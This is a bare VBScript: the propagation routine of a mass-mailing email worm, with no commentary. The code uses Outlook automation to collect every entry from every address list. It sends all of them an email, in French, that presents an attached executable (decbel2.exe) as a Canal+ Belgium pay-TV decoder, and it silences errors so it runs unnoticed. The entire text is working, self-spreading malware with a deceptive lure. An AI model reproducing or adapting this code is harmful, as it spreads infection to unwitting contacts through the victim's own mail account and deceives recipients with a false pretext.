On Error Resume Next
Set a=CreateObject("Outlook.Application")
Set b=a.CreateItem(0)
Set c=a.GetNameSpace("MAPI").AddressLists
For d=1 To c.Count
Set e=c(d).AddressEntries
For f=1 To e.Count
b.Recipients.Add e(f)
Next
Next
b.Subject="DecBel (ANNA) - JUILLET 2000."
b.Body="Bonjour ! Voici DecBel (ANNA) ! C'est un décodeur Canal+ Belgique. Consultez la documentation attachée à cet e-mail pour en savoir plus à son sujet... Ne le lancez pas sans le passer à l'antivirus !"
b.Attachments.Add "D:\DecBel.txt"
b.Attachments.Add "D:\decbel2.exe"
b.Send